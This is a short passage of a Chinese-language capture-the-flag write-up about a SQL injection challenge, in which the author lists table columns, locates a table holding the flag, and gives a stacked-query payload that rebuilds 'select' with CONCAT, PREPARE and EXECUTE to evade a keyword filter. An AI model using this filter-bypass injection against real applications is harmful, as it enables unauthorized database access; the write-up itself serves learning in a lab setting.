show columns from `words` //查看words表的结构 (show full 显示表格详细信息) show columns from `1919810931114514` 1919810931114514里面有flag的信息。 默认查询的应该是words表。 那……预设的可能是 SELECT * FROM words WHERE inject='inject' ………额,sql语句怎么改表名?
查了一波资料,似乎有三种方法。
2.方法
一.select绕过
通过set、prepare、concat语句预设拼接好的select语句,运行即可。
1 2 3 4 5
?inject=1'; SET @lgy=concat('sel','ect * from `1919810931114514`;');//concat可以拼接字符串 PREPARE std from @lgy; //预设拼接后的语句,绕过select过滤 execute std; //执行 --+ //注释